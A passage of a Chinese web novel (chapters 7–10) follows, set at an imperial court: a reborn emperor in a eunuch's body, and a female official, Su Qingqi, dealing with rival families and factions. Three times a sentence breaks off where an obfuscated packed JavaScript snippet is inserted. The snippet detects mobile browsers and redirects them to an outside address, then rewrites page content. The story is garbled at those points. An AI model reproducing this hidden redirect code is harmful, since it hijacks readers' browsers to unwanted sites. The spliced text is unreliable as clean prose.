成木有些懵,看着梁墨,梁墨道:“薛明理既然早几个月就知道衢州渔民一事,若他当真想要解决,想要帮助百姓解决温饱,那么最好的办法难道不该是直接呈给阁老吗?” “景国朝堂上上下下,谁不知道阁老最是怜惜百姓?更何况阁老原是他薛明理的老师,若直接呈给阁老,那么衢州渔民一事早早便已解决,何至于拖到现在?” 成木愣愣听着。 “拖到如今朝廷竟要派一个与伊家不对付的卢正去查案,你难道不觉得此事荒唐?”梁墨伸手揉了揉自己酸痛的手腕,继续说道:“薛明理就是借着这件小事,将司礼监与卢家都拖了进来,坐收渔利!” “今日早朝,若非我抢先揽下罪名,如今受这廷杖的便是掌印他老人家。成木,你觉得掌印若真的受了刑,还能活着吗?” 如今经过早朝一事,形势已然明朗,奚牧是天子一党,可李元却与奚牧不对付,此二人必不可能为同党。 梁墨疑心,若他死前没有让李元任司礼监掌印,那么如今这个位置必然是奚牧在坐。 可李元毕竟是自己留下的老臣,梁治光又是自己的养子,此二人为何决裂,梁墨目前还想不明白。 他明白,自己目前在李元和成木心中的形象依然是那个满身罪孽的奚牧,如今绝不可打草惊蛇,只能慢慢探了。 成木瞠目结舌道:“我、我原以为今日是你与陛下又在给干爹难堪……” “奚牧,那道天雷是不是把你的脑子劈坏了?” 8. 第七章 梁墨朗然一笑,心道成木果然还是小孩子心性,只要将事情讲清楚了,那么这人的脸色也立刻有了变化。 回想前朝时,承平十年,梁墨曾送给成木一件银狐皮大氅,成木倒是十分喜欢,每年冬日都穿这件大氅。 小孩长得快,没一年,这件大氅就短了,可成木依然穿着不愿意扔。梁墨感慨他如此珍爱这件大氅,于是新赐了一件。 可到了最后,梁墨也不知道成木有没有穿这件新的大氅。 果然纯直,梁墨心里感叹一声,问:“掌印乃是先帝内侍,当今圣上又是先帝养子,他们二人怎会不和?” 成木猛地起身,满目犹疑:“你……你当真是奚牧?” 梁墨抬起双臂,抬头看向成木,笃定道:“如假包换。” 那一道天雷确实来得蹊跷,带出许多疑问。今日早朝,成木在梁墨下跪揽罪时,便惊疑此人变化太多,如今听了梁墨这番话,心中疑惑却并未消解。 谁都知道,奚牧乃是天子一党,今日薛明理既然有意要把司礼监与两大家拖下水,那么奚牧便只需要看薛明理谋划,并不需要以身犯险。 原本坐收渔利的事情,可梁墨一揽罪,那么这件事情便立刻变得扑朔迷离。 那双细长的凤眼里,隐藏着许多情绪,成木记得奚牧的眼睛,可是如今的这双眼睛,让他感到陌生的同时亦感到一丝熟悉。 “陛下自先帝死后,性情大变。”成木抬手摸了摸鼻子,“其余的,我也不清楚,干爹不告诉我。” 说完,他皱起眉,轻轻踢了踢梁墨,道:“今日是我误会你了,但来日你若是真对干爹下手,那我一定会杀了你!” “到时我一定与你拼个你死我活,绝不放过你!” 梁墨耸肩,对他笑了笑,成木哼了一声,转身离开。 梁墨扶着墙壁站起身,擦掉嘴角血渍,走向宫内。 …… 天边传来一声巨响,只一瞬,小雨便细细密密飘了下来。 苏倾祈走到宫门处,却见一年轻男人正在宫门下来回踱步,白净的脸上露出些焦急。 一看见苏倾祈,他立马跑过来,道:“苏大人,您终于出来了。” 苏倾祈不知道此人是谁,于是恭恭敬敬作揖道:“下官苏祈,您是?” 那人挠了挠头,赶忙也作揖道:“苏大人不必多礼,下官乃都察院经历司都事,卢本末,字梓廿。今日上朝时见大人英姿勃发,堂前辩论不落下风,于是心生敬仰。特在此等候。” 都察院都事,算是苏倾祈的下属,可他姓卢。 这时,天上的雨丝被挡住,苏倾祈偏头,看见薛明理正撑着一把伞,将苏倾祈也撑了进来。 雨丝轻轻撞在伞面,苏倾祈赶忙退了出去,和卢本末一起对他作揖,苏倾祈看见卢本末眼神立刻变亮,抢着道:“薛大人,久仰大名,下官都察院经历司都事,卢本末。” 薛明理淡淡扫他一眼,然后点了点头,卢本末未得到重视也不脑,直直盯着薛明理。 接着,薛明理视线转向苏倾祈,苏倾祈对着他一笑,道:“薛大人,来日再会。” 薛明理踏上马车,没理她,径直离开。 卢本末看着马车,感叹道:“薛大人果然是人中龙凤啊!” 苏倾祈看着他,问:“你很仰慕他?” “是敬仰。”卢本末偏头看向苏倾祈,道:“苏大人曾与薛大人共破大案,想必对薛大人的人品已有了些了解。在京都,伊家伊宁与薛大人并称为京都双侠,只因他二人心有侠气,虽不在江湖中,可侠气不减,任何人遇到任何困难,此二人都会鼎力相助。” 苏倾祈听着这番话,心中对薛明理的了解更深了些,仅从今日堂上的争论来看,此人凭喜好办事,因为疑心苏倾祈与梁墨为一党,便能不顾自身形象阻挠苏倾祈入朝为官。 可他确实是个好官,谁都不敢得罪衢州高门,可他薛明理却敢深入衢州,破获海盗案。同时也能够体察民情,推进衢州渔民的案子。 薛明理,人如其名,有自己的谋划,可自身底线却不可动摇。 卢本末道:“苏大人,下官带您去都察院看看?毕竟明日就要上值,有些了解总是好事。” 苏倾祈点头道谢:“那便有劳梓廿兄了。” 卢本末的马车十分巨大,一匹十分高大的骏马打着响鼻,滚烫的气息几乎扑面而来。 “好马。”苏倾祈伸手摸了摸马头,马儿十分温顺地把头靠在苏倾祈手心,热烘烘的暖意笼罩在她掌心。 卢本末毫不在意,道:“大哥送给我的,是从关外驯化而来的野马。若您喜欢,改日我便送您一匹,好马配好官,这才是美谈。” 苏倾祈摇头:“不必了,我与马儿无缘。” 苏倾祈儿时曾跟着自家二哥骑马,两人都没什么天赋,摔下马来,若不是二哥护着她,那么苏倾祈怕是早就没命了。 二人坐上马车,车内燃着熏香,熏得人晕乎乎。 “梓廿兄方才说的大哥是?”苏倾祈坐在窗边,将帘子掀开一角,雨后清新的泥土气息涌入鼻腔,她的脑子也清醒了些。 卢本末斟茶,递给苏倾祈一杯,道:“我大哥,就是当今户部尚书卢正。” 果然是京城卢家人,苏倾祈心中警觉起来,轻呷了口茶,道:“卢大人何时赶往衢州?” 卢本末摇头:“左不过这几天了,大哥本就不喜欢衢州,更何况是要去伊家坐镇的地方。” 说完,他状似无意,问:“苏大人,您在衢州待得好好的,渔民们,死了便是死了,何苦回京呢?” 语气中隐隐带上了些恶意,苏倾祈当然能听出来,放下茶盏,道:“世家高门把控,渔民们捕鱼为生,本就是艰难果腹。若无人为他们伸冤,那衢州渔村怕是不过一年便要成为鬼村了。” “到时怨恨难消,岂不是有伤国运?” 卢本末叹了口气,脸上又带上笑,感叹道:“大哥好不容易回到京都……” 卢家兄弟情谊倒是甚好,苏倾祈能理解卢本末的恶意,毕竟若没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587522|205349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今日这一遭,卢正便能长久留在京都。 卢本末接着大笑一声,恢复到之前的样子,道:“苏大人,你我如今同朝为官,前尘往事再议也无所谓。” “您今日得了阁老青眼,只望您日后多多提携。” 苏倾祈笑了笑,没回话,卢本末此人,和卢正性子果然相像,比起京官,他们更像商人。 …… 梁墨顶着这一身的伤去了太和殿,梁治光正在批奏折,见了梁墨脸上的淤青,笑道:“奚牧,又让人打了?” 梁墨点点头,自觉地坐在一边开始磨墨。 “可抓到打你的人了?”梁治光扔下奏折,看向梁墨。 梁墨摇头:“小人不知,打人者套了个麻袋,小人没看见。” 梁治光向后一瘫,将奏折瘫在梁墨眼前,道:“边军又传来战报,此次车炜人进犯来势汹汹,边军粮草不足,向户部要银子。” “那卢正怎么说也不肯给银子,说那户部也有苦衷,朕倒是想看看,他究竟有何苦衷?” “今年刚刚收了税银,怎么就拿不出银子了?” 梁墨看了眼奏折,这上面不过是些很平常的借口,税银未能足额收回,以及关中大旱,朝廷既然要救治灾民,那么户部自然只能先短了边军的银子。 这倒也无可厚非,若是当真出不起这个银子,那么从皇帝的内库中取一些便罢了,可梁墨看得明白,这件事绝对没有表面看上去这么简单。 卢正此人,虽已入朝为官,可骨子里商人本性依旧不改,户部拨银子,这件事情对于卢正而言,必定是一笔买卖,若他没有得到他想要的报酬,是决计不会放手的。 果然,此次梁治光轻而易举便允了薛明理的提议,便是想要换个更好拿捏的人担任户部尚书。 边军需要的这笔钱,梁治光并不想出。 至少,这钱不能从内库拿,其余人谁来拿都行。 “尚书大人过几日便要去往衢州,到时,这件事情便可叫新任尚书处理。”梁墨继续研墨。 梁治光批下批文,问:“你觉得现下京都内,谁可以坐这个位子?” 梁墨细想片刻,道:“小人以为,如今的户部左侍郎萧思议,为人正直,可当此任。” 萧思议此人,入朝已有二十年,是梁墨父皇在位时的老臣,此人为人谨慎,且他儿子目前在边军为官。 若是萧思议能够上任户部尚书,那么他必定会竭尽全力从国库中掏出些银子给边军打仗。 “萧思议么?”梁治光低头想了想,笑道:“这倒是个不错的人选,明日宣旨,让他上任去解决边军缺粮一事。” “是。” 梁治光撂下笔,深吸一口气,道:“边军粮草一事解决,那么宫中麻烦事便少了大半。” “可朕还是有事要问问你,此事在我心中积压许久,非得问个明白不可。” 梁墨跪坐叩首:“小人绝不隐瞒。” 就听梁治光缓缓道:“奚牧,苏家五口人,可是真的死了?” 9. 第八章 “苏家五口人,可是真的死了?” 梁治光这话问得平常,语气似乎并不在意真相,可双眼却紧紧盯住梁墨。 梁墨神色自若,跪在地上,道:“苏家五口人,皆被处决,苏家抄出一百两银,已上交户部。” “是吗?”梁治光深吸一口气,斥道:“诏狱锦衣卫上报,说苏家五口皆被毁了容貌,看不出身份,这难道不是你做的!” 梁治光的猜测来得并不突然,梁墨在死囚死后,便让锦衣卫毁了那五人的脸。 他知道梁治光必定会问他,于是叩首道:“并不是小人所为。苏家五口乃是自戕,苏家儿女原本不愿伏诛,可苏鸣志死后,他们便随他而去了。” “死前自毁面容,只因他们生前活得还算风光,死后无颜面见先祖,于是便出此下策。” “呵。”梁治光一笑,道:“无颜面见先祖?这倒真是个不错的理由,兢兢业业做官,窝窝囊囊死去。” 话到这里,梁治光不知想起了什么,嘴角的笑意敛去,道:“奚牧,你觉得父皇是个什么样的人?” 梁墨心脏一跳,推脱道:“小人不敢妄议先皇。” “父皇教养我,将我送上皇位。”梁治光嘴角扯出一抹冰冷的笑,“阁老当着他的面,骂我庸碌,不堪大任。” “可他还是把我送了上来。” 梁墨听着他的话,思绪飞回到承平十二年六月,酷暑时节,天际蒙着一层模糊的风,可梁墨却裹着大氅,发着抖跪坐在先帝灵位前。 身后,和兼撑着身体和梁治光并肩而立。 “陛下,莫要跪太久,太医说您需要休养。”和兼在身后轻声劝着。 梁治光也附和道:“父皇,您别再拜了,让儿臣扶您去休息吧。” 梁墨置若罔闻,双手合十,冷汗直流。卦象有异,他这病来得气势汹汹,只两个月他便病得下不了床。 太医们对他的病毫无办法,此一劫怕是他的死期了。 父皇的灵位前,烟雾缭绕,牌位隐在迷蒙的雾气之后,看不清。 梁墨最后一次颤着手掷出筊杯,滚了几圈后,筊杯卦象为两阳,梁墨看着卦象,再也支持不住,狠狠吐出一口鲜血。 “陛下!” “父皇!” 死期将至,一切都是徒劳,梁墨紧紧攥住了梁治光的手,喘着粗气道:“我将皇位传给你!” 和兼听罢,看了梁治光一眼,道:“陛下不可如此武断,殿下乃庸碌之辈,绝不可胜任!” 梁治光眼角还挂着泪,猛地转头看向和兼,和兼却不肯看他,只盯着梁墨。 梁墨抬手想说些什么,可最终,话在嘴边滚了几圈,直接晕了过去。 事后,在梁墨的房内,和兼终于说出了自己对梁治光的看法,可梁墨并未采信,还是一意孤行立了梁治光为太子。 “奚牧,你在想什么?” 梁治光问,梁墨回过神道:“先帝也许并不是事事正确。” “你在编排父皇?”梁治光眼神一冷,“还是在编排朕?” 梁墨赶忙道:“小人不敢,只是以为,先帝死前那份遗诏确实有伤阴鸷。” “宫妃活祭一事?”梁治光慢悠悠道:“父皇生前救了那么多人,死后能有几个活人留在陵中相伴,他们不感恩戴德,居然还要指责他!” “那些人死了便死了,和兼做什么一直拉着我不放?” “此事亦并非我一意孤行,我只是做了父皇让我做的事情,怎么就犯了大错?” 梁墨心中大恸,看着眼前这个视人命为草芥的人,心中第一次感到一阵冷意,眼前人几乎形似罗刹。 他没有教过这些,他只教了梁治光为君之道,君子,绝不可侵害百姓。 “奚牧,你觉得,若我犯下不可饶恕的罪孽,父皇会原谅我吗?”梁治光忽然问出这句话。 梁墨没有回答,他说不出任何话。 没一会儿,梁治光却一哂,道:“父皇仁厚,是个明君,他倒未必会原谅我。” “可是他已经死了,再多说也无用。” 沉默良久,梁治光突然拍拍手,将桌上的奏折推远。 “算了,再追究也无用,死了便是死了。”梁治光说罢,站起身:“奚牧,你今日受了廷杖,便不必陪着朕去皇陵了。” “既然和兼要我忏悔,那么我便去陵中看看,看看父皇如今变成何种模样了。” 说完后,径直离开了。 梁墨双腿发软,跪坐良久也站不起来,一股腥甜的血液直冲入喉间。 这一次,他终于明白,自己究竟选了什么人做这个皇帝。 他才是那个罪孽深重的人。 他,罪该万死。 …… 苏倾祈跟着卢本末一路来到都察院,门前两只石狮子正张着大口。 “苏大人,这边请。” 卢本末在前方开路,苏倾祈跟着他,卢本末此人,口头功夫极佳,而且人缘不差。 基本上路上遇见的所有人都能和他聊上几句。 “这位是都察院左佥都御史尹承大人。”迎面走来一位白面无须的长者,看上去不过四十岁。 二人对他作揖,尹承略略点了点头,视线落在苏倾祈身上时顿了顿,停下脚步问:“你是苏鸣志的儿子?” 苏倾祈赶忙道:“大人怕是认错了,下官是今日新上任的经历苏祈。” “今日早朝那个?” 此人就算不说话亦极有威严,苏倾祈慌了神,不敢看他的眼睛,低着头道:“是。” 尹承点了点头:“既入了都察院,那便好好做事。” “下官明白。” 话罢,尹承一甩衣袖,离开了。 卢本末在一旁看着苏倾祈这副紧张的样子,掩嘴笑了笑,道:“苏大人不必害怕,尹大人看着凶悍,其实十分纯良。” 苏倾祈点头,松了一口气。 此人是父亲的下属,二人也算是朝中好友,曾经来过苏府做客,是为了他儿子尹穆来的。 两家曾经定下娃娃亲,苏倾祈一及笄,尹承便带着儿子上门提亲。 可那时母亲舍不得女儿太早出嫁,便没有应允这件婚事。 苏倾祈当时曾偷跑出来,躲在屋里悄悄看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587523|205349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼上门提亲的人,尹承被拒也不生气,只说两家情谊尚在,确实不必靠着婚事维系。 如今再见,竟已到了物是人非的地步。 二人转了一圈,苏倾祈记下路线后便乘车离开了都察院。 苏倾祈明白,院中人必定对她破格晋升这件事情颇有微词,更何况她面上还是被奚牧举荐,明晃晃是宦官一党。 只怕做起事来并不会轻松,苏倾祈叹了口气,刚想喝口茶,马车却猛然停住。 苏倾祈猛地往前一冲,赶忙伸手扶住了茶盏。 “发生何事了?” 苏倾祈撩开帘子,马夫上前道:“大人,伊家正在施粥。路被流民堵住了。” “伊家?” 苏倾祈立刻想到了卢本末方才讲的京都双侠之一的伊宁,问:“是伊宁在施粥?” 马夫恭敬道:“大人,确实是伊家伊宁在施粥,前方那位身穿白衣的人便是伊宁。” 苏倾祈掀开帘子,顺着马夫手指的方向看过去,流民们正哄抢着往前挤,而那位身穿白衣的人,站在人潮中,处变不惊。 发丝随着微风摇荡,身上白纱似乎也成了一阵风,轻轻包裹住这个人。 伊宁,竟然是个女人。 苏倾祈听到卢本末的话,确实先入为主地以为伊宁是个男人。如今一看,伊宁竟然是个看上去十分柔弱的女子。 苏倾祈想不通,这样一个女人,居然能够掌管那么大的伊家。 “现如今的伊家,可不比当年了。”马夫解释道:“伊家的儿子们,一辈不如一辈,皆是些酒囊饭袋之徒。” “承平年间,伊家几乎就要倒台。那时候,是伊宁接任家主之位,凭一己之力,力挽狂澜,救活了伊家。” “她可是个奇女子啊。” 苏倾祈愣愣地看着伊宁,世间女子,有人一辈子困守闺阁,有人却能凭着自己打出一份天下。 这究竟是为何? 苏倾祈想不明白,她在此时,不合时宜地想起了那些和她一同被活祭的嫔妃们。 皇陵内被关着的女人,和伊宁也并无差别,可命运似乎并不公平,活活逼死了她们。 苏倾祈还记得,陵中的贡品不过几日便被吃了个干干净净,她忍着恶心和疼痛,将仅剩的那一点面饼紧紧攥在手中。 她们一个个都慢慢变成了一具死尸,苏倾祈害怕,陵中幽魂总是不肯离开,趴在她的耳边让她一起死。 好害怕,有没有人…… 救命啊…… 好害怕…… 她也会变成一具腐烂的尸,横躺在陵中让那些小虫啃噬她的血肉和灵魂。 为何命运如此不公? “大人,您怎么了?” 马夫的声音在耳边响起,苏倾祈回过神,意识到自己的失态。 这时,伊宁突然看了过来,苏倾祈与她对视一眼,看见她弯起眼睛笑了笑,招手在身旁婢女耳边说了几句话。 果然,那婢女也抬头看了苏倾祈一眼,然后朝她走了过来。 苏倾祈赶忙放下车帘。 “大人,我家娘子请大人见面一叙。” 10. 第九章 苏倾祈与伊宁坐在临街茶馆内,伊宁斟茶,将茶盏递给苏倾祈。 但苏倾祈只看着她,没接这杯茶。 “大人,您便是从衢州来的那位吧。” 伊宁也不脑,将茶盏轻轻放在苏倾祈面前,自顾自喝了一口茶,脸上挂着柔和的笑。 “是,想来我今日升迁,本该去伊家大院拜见一番。” 苏倾祈食指轻点桌面,脸上挂着玩味的笑,可嘴上却还是装傻。 “可真是不巧了,今日早朝,下官须得先面见陛下。方才得空,希望伊姑娘不要恼了我。” 伊宁笑道:“大人真是说笑了,伊家只是商贾罢了,哪能干涉朝堂政事。” “既然伊家不干涉朝堂之事,那么我与姑娘无话可说,下官还有事,先行离开了。” 苏倾祈看着伊宁这副漫不经心的样子,皇陵中的回忆几乎再一次飞到了她眼前,她忍不住想逃。 “大人,小女虽不干涉朝政,可的的确确有要事要与大人商量。” “请大人听我一言。” 伊宁的双眼,黑白分明,苏倾祈看了几眼,又移开视线,道:“伊姑娘请讲。” “大人曾经查过衢州盐商一案,那么我想,大人必定知道那里的百姓如今过着怎样困苦的生活。” 伊宁这番话说得恳切,可苏倾祈听完,冷笑一声道:“人尽皆知,衢州是伊家的地方。” “不知伊姑娘有没有听过衢州一句街头小诗?” “天下分两京,衢州为一京。天下分两家,伊家为一家。” 伊宁像是早就猜出苏倾祈的话,道:“这些我自然都明白。” 苏倾祈不解,伊家如今在衢州的势力甚至大过当今皇上,那些盐商强征庶民,此事绝对与伊家脱不了干系。 要么,伊家便是那幕后棋手,操纵风云,等着坐收渔利。 要么,伊家便是那些盐商背后的靠山,在事情闹到大理寺后却仍不收手,可见他们有多有恃无恐。 伊宁转头,看向粥棚,流民似乎源源不断,他们个个面黄肌瘦,半大的孩子身上连件蔽体的衣物也无,男人女人老人孩子全都挤在一处,拼着命往前挤,就是想要抢到那一点点救命的粥。 “大人,你既然已经到了京都,与我伊家同谋,岂不比那宦官好?” 伊宁突然话锋一转,语气很是笃定。 苏倾祈笑了笑,道:“伊姑娘是要将我与秉笔打成一党?” 伊宁笑而不语,只看着她,一切尽在不言中。 “今日早朝,他们也都疑心我是秉笔一党,可这党派纷争,又有谁能说得准呢?”苏倾祈端起眼前的茶盏,一饮而尽,看着伊宁,道:“我从衢州来,如今还喝了你的茶,难不成我又成了伊家一党?” 伊宁点点头,道:“是啊,大人毕竟是带着胎记来到京都的,可是大人,若您在京都当真没有靠山,那么明日,您便会曝尸街头。” “京都官员,面上看去,一个个皆是活佛在世、菩萨心肠,整天仁义礼挂在嘴上。” “可剖开那层皮,谁不是山野恶鬼、虎豹豺狼,满肚子的算计。” 伊宁话里有话,全是拉拢之意,苏倾祈将空空的茶盏用手推开,满不在意道:“伊姑娘,你道我是观音还是恶鬼?” 伊宁不答,想要再为苏倾祈斟茶,可苏倾祈抬手挡住茶盏。 恶鬼与观音,恶鬼面观音心或观音面恶鬼心,对苏倾祈而言都是一样的,只要是人,那么难免会有自己的算计。 想到这里,苏倾祈忽然吐出一口气,皇陵中那种时时刻刻能够感受到的的冰冷似乎重新回到了她身上,可这一次,她没有逃,而是端端正正地,剖白自己的心。 “伊姑娘,你没有剖开我的皮囊,便已断定我是个庸碌到连自己的安危都保不住的人?” 苏倾祈有些畅快地笑着,耳边回荡着那些宫妃死前的呻\吟与求死声,她们的魂魄跟着苏倾祈出了皇陵,此刻正堆叠着趴在苏倾祈肩头,低声咒骂着这个不公的世界。 伊宁纯白的衣装与身上尚且能够算作自由的风,变成了一种刺眼的挑衅。 那是还活在人间的人,对已经痛苦死去的人的践踏。 “更何况,我的皮囊之下,已经满是干枯的血液和蚀骨的蠕虫。”苏倾祈脸上挂着刺骨的笑意,“没有人是我的同党,我谁也不信。” 苏倾祈起身,作揖道:“伊姑娘,多谢你请我吃茶,若日后还能再见,到时便由我请你吃。” “苏大人!” 伊宁赶忙起身拦住了苏倾祈,挡在苏倾祈身前,小声道:“大人,我无意冒犯。今日确实有求于你。” 苏倾祈后退一步,伊宁蹙眉,从怀中掏出一张银票塞到苏倾祈手中,急急道:“大人,无论如何,衢州盐商一案,一定请你调查下去。” 话罢,伊宁先行一步转身离开。 苏倾祈看着伊宁摇晃的衣摆,兴许伊宁并没有参与此事,可那是衢州。 一千两的银票,伊家人倒是大方,苏倾祈冷笑一声,将银票仔细收好。 …… 梁墨今日受了廷杖,李元便差人告诉梁墨,今日不必去司礼监上值。 等梁墨拖着疲累的身子回到府中,却在门口见到了一个不速之客。 卢正悠闲地斜倚在马车上,见了梁墨,慢悠悠抬起眼皮道:“秉笔大人,真是好大的官威啊。” 梁墨懒得理他,轻嘶了口,道:“你怎么不进去等?” 卢正道:“你怎么不问问你府里这帮奴才,我敲了多久的门,就是不肯放我进去。” 梁墨立刻明白了这应当是六合的主意,这是在向奚牧表忠心呢。 “你来得太早,自然进不去。”梁墨冷冷斜他一眼,上前拍了拍门。 没一会儿,六合就跑出来开了门,扶住了梁墨。 “干爹,您今日来得倒是晚一些。” “嗯。”梁墨心不在焉地点了点头。 卢正前后脚跟进来,瞥了六合一眼,阴阳怪气道:“我倒是第一次知道你府上的奴才居然这么忠心。” 六合赶忙讪笑道:“儿子服侍爹,天经地义。” 二人来到正堂,梁墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587524|205349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆手,六合退出去,卢正坐到一边,冷哼一声。 “怎么了?”梁墨叹了口气,身上被廷杖打出的伤口灼灼痛着。 卢正道:“今日早朝时,薛明理怎么突然向我发难?” “我是薛明理?”梁墨正心烦。 卢正闷闷道:“那衢州,难道是谁都能去的?陛下也是,新君怎么就忽然昏聩了,逼着我去衢州,那这案子我查还是不查?” “你能不查?” 卢正泄了气,向后瘫在椅子上,道:“卢家与伊家本就势同水火,这些年,卢家入朝为官,我们两家才算是有了一定的平衡。” “我小心翼翼就是想要避开伊家,这一遭,怕是躲不过去了。” 梁墨道:“你就那么笃定这件事和伊家有关?” “不然呢?”卢正冷笑一声,“大理寺卿早早介入了这个案子,你说那些盐商能不知道?” “折子递到司礼监,却不知道被谁截了下来,我看今日早朝时,那李元一看就什么都不知道。” 说到这里,卢正略带上一点怒意,看向梁墨:“还有你,今日为何要替李元揽下这罪名,他那身子骨,风一吹就能倒,你不如推一把,让他接下惩罚。他一死,你不就能上位了?” “你都能想到的事情,他们会想不到?”梁墨懒懒地回答道,“李元一死,截下那折子的人就真的成了我,到时候,就变成了我蓄意谋害掌印。” “司礼监内,有一多半的人都是他提拔上来的。” 梁墨回视卢正,眼神发冷:“到时候我被撸下来,你说,我会不会把你供出来?” 二人诡异地沉默一会儿,卢正淡淡道:“你能供出什么?” 梁墨一笑,也学着卢正瘫在椅子上,道:“谁知道呢。” “不说这个。”卢正烦躁地摆了摆手:“那苏祈,究竟是怎么回事?” 梁墨道:“如你所见,我与他祖籍皆是益阳,儿时也颇有些交情,此次他回京述职,刚巧碰上。” “既有同乡之谊,我帮他一把又有什么错呢?” 卢正猛地站起,抬手指向梁墨,怒道:“你那是帮他还是害我?这明显是醉翁之意不在酒!” 梁墨专心致志盯着头顶那片一隅天空,道:“卢大人,即使今日没有苏祈,只要薛明理还认他曾经向司礼监递过折子,那么你早晚都要去衢州。” “整个朝堂都在看你们两个世家大族相争,不管哪一方赢,输了的那个必然就会变成一座金山。” “他们皆是不吐骨头的恶狼,你说那些人能不把输的人啃个干干净净吗?” 梁墨没理他,继续说着:“你们两家相互制衡,可你难道从来没想过若是这种制衡被打破,你该如何?伊家会如何?” “如今竟还有时间在这里找我的麻烦,苏祈又如何,衢州一小官,拼死来到京都,爆出衢州盐商一事。” “可陛下只给了他都察院经历的位置,这样一个人,对你有什么威胁?” “你现在该想的,是去了衢州之后该怎么活下来,而不是揪着那么一个小官不放!” 11. 第十章 “这些我自然都明白!” 卢正气急,喘着粗气瞪视梁墨,怒道:“先皇看不起我,连你也看不起我!” 梁墨根本没有心情在这里同他周旋,一拍桌子站起身:“是,我是看不起你!可你呢,你有什么值得让我看得起的?” “是,我现在是个阉人,连带着府里的人都是你看不起的阉人!所以人家略怠慢一些你便受不了,觉得自己是人上人?觉得自己不该被阉人怠慢?” “今日之事确实是我府上的人没规矩,可各侍其主,他们做的也并无罪!倒是你,一进来便对着我摆脸色,怎么,我这个阉人如今也成了你的狗?陛下踩着我,连你也要踩着我!” 话说到这里,梁墨已然气急,上前一步,伸手拽住卢正的衣领,拽得他满目红紫,那条瘸腿无力地歪斜在一边。 连日来的不快似乎被卢正的这一番话激得难以抑制,犹如心中尖刺,划破了那一身皮囊。 他红着眼睛怒视卢正,嘶吼道:“我有什么错!我选了错的人?难道我生来就该是个恶人!那道天雷劈下来,死的本该是罪无可恕之人,可我呢?死的为何是我!” 我本天上雀,何须入尘世。 雀鸟被那道天雷劈下来,钻进一个本不属于它的身体里,还要面对自己筑巢的失误。 巢穴本是为了让里面的鸟儿安乐幸福,可那个错误却如一根刺,横亘在巢穴内,让巢中鸟儿鲜血淋漓。 可他有什么错,他明明做了自己能做的一切。 上天不公,因果报应避无可避! 卢正嘴唇嗫嚅,双手握着衣领,被梁墨这番话吓得哆嗦不止。梁墨深吸一口气,松开了攥得发白的手。 卢正踉跄着倒在地上,桌上茶盏被他的动作掀翻,滚烫的茶水浇在二人身上。 “你——” 夜色渐浓,天边猛然传出惊雷声,下一瞬,大雨倾盆而下。 卢正看着眼前这个陌生的奚牧,是,他是看不起宦官。没有根的东西,怎么配执掌朝政? 可他却明白,若没有奚牧相助,自己怕是就要一辈子困守益阳,做个无用的地方官,永世不得回京。 所以他恨奚牧,奸宦不知怎么搭上了新帝,整日穿着飞鱼服耀武扬威,还假惺惺施舍一般,动了动嘴皮子就把卢正给调回了京都。 他恨啊,恨死了,恨不得杀了奚牧。 可是现在,卢正倒在地上,那条瘸腿不受控制地痉挛着,眼前人恶鬼似的眼神让他想起了在益阳见过的那些个街头流氓,全是不要命的主,疯起来能把人打死。 奚牧是个名副其实的奸宦,可他太过高调,喜恶都写在脸上,眼神却从来都是柔情似水。 可眼前这个人,太监身,眼神却不复从前,像是从地狱爬出来的恶鬼。 一道惊雷照亮眼前人的脸,黑白分明。 卢正打了个冷颤,强撑着道:“奚牧,你做什么?” 梁墨看了他一眼,闭上眼呼出一口气。 “你走吧,此去凶险,你好自为之。” 话罢,屋外的太监立刻进屋扶起了卢正,卢正双手有些颤抖,佝偻着身子,看着梁墨,道:“我知道此一去,我定是回不来了。所以……请你帮我照看我家小弟,他是都察院经历司都事,名叫卢本末。” 梁墨没应,卢正沉默片刻,道:“他从来没有掺和过这些事。” 梁墨这才点了点头,太监们则是簇拥着将卢正送了出去。 瘸腿连走路都难,到了衢州,怕是不用旁人给他找麻烦,他自己就能把自己弄死。 …… 马夫将苏倾祈送到了城西的一处府邸内。 “大人,这是秉笔大人为你寻的府邸,五里外便是大理寺卿的府邸。” 马夫作揖,将她送至府门外后,便驾车离开。 苏倾祈仰头看着高大的院门,心中颇有些感慨,几日前她还在诏狱中,借着那面小窗透下的光亮数着时辰。 如今竟已成了京官,虽不知前路如何,可总也算是有了些安慰。 “苏大人好兴致。” 听见身后的声音,苏倾祈转身,来人是薛明理,身上穿着一件月白素服,笑看着她。 “薛大人。” 苏倾祈规规矩矩作揖,道:“路上有事耽搁了,不知薛大人所为何事?” 薛明理略有些凌厉的眉眼压下,调笑道:“苏大人要住进这座府邸,那么必定知道你我相邻。既然是邻居,本官便来关照关照下属。” “苏大人要赶客吗?” 